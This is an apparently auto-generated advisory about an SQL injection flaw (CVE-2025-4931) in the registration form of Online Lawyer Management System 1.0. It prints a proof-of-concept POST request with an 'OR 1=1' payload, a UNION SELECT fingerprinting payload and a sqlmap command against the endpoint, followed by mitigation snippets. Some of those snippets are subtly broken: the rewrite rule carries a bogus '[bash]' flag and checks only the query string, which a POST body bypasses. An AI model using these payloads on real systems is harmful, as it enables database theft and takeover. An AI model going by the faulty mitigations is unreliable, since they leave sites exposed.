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The CVE-2025-4931 vulnerability allows remote attackers to execute arbitrary SQL commands through the email parameter in the /user_registation.php file of Online Lawyer Management System 1.0. The system fails to properly sanitize user-supplied input in the registration form, enabling SQL injection attacks. When malicious SQL code is inserted into the email field during registration, the backend database executes it without proper validation. This occurs because the application directly concatenates user input into SQL queries without parameterization. Attackers can exploit this to dump database contents, modify data, or gain administrative access. The vulnerability requires no authentication and can be exploited through simple HTTP requests.
DailyCVE Form:
Platform: Online Lawyer Management System
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/28/2025
Prediction: Patch expected by 06/15/2025
What Undercode Say:
Exploit Proof-of-Concept
POST /user_registation.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
email=test' OR 1=1--&password=123&submit=Register
Database fingerprinting
email=test' UNION SELECT 1,version(),3,4--
Protection measures
$stmt = $conn->prepare("INSERT INTO users (email,password) VALUES (?,?)");
$stmt->bind_param("ss", $email, $password);
WAF Rule to block
SecRule ARGS:email "@detectSQLi" "id:1001,deny"
Vulnerability check command
sqlmap -u "http://target.com/user_registation.php" --data="email=test&password=123" -p email
Patch verification test
curl -X POST -d "email=test'AND'1'='1" http://patched-site.com/user_registation.php | grep "SQL"
Log analysis pattern
grep "user_registation.email=.[';]" access.log
Temporary mitigation
RewriteEngine On
RewriteCond %{QUERY_STRING} [';]
RewriteRule ^user_registation.php$ - [bash]
Database cleanup after breach
UPDATE users SET is_admin=0 WHERE is_admin=1 AND id NOT IN (SELECT id FROM admins);
Backup restoration command
mysql -u root -p database_name < backup.sql
PHP hardening setting
ini_set('display_errors', '0');
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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